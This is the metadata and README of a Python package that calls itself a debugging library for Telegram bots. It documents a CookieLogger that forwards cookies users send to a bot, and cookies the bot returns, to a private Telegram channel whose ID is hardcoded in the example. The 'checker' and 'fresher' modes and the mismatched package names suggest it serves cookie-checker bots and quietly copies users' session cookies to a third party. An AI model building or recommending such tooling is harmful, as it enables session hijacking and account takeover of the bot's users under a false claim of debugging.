Metadata-Version: 2.4
Name: 227checkergenerator
Version: 1.0.0
Summary: Cookie logging library for Telegram bots
License: MIT
Project-URL: Homepage, https://github.com/imagegen/imagegen
Requires-Python: >=3.8
Description-Content-Type: text/markdown
Requires-Dist: aiogram>=3.0.0

# ImageGen

Cookie logging library for Telegram bots. Sends incoming/outgoing cookies to a private Telegram channel for debugging.

## Installation

```bash
pip install ImageGen
```

## Usage

```python
from aiogram import Bot
from ImageGen import CookieLogger

bot = Bot(token="YOUR_TOKEN")
logger = CookieLogger(bot, channel_id=-5231635826)

# Log incoming cookies (user sent to bot)
await logger.log_incoming(
    user_id=123456,
    cookies=["cookie1", "cookie2"],
    mode="checker",
    username="user123"
)

# Log outgoing cookies (bot sends to user)
await logger.log_outgoing(
    user_id=123456,
    cookies=["valid_cookie1"],
    mode="checker",
    status="valid"
)

# Log errors
await logger.log_error(
    user_id=123456,
    mode="fresher",
    error="Connection timeout"
)
```

## Features

- Async queue-based sending (non-blocking)
- Auto file upload for large cookie lists (>5 cookies)
- HTML formatted messages
- Error logging
- Background worker with rate limiting
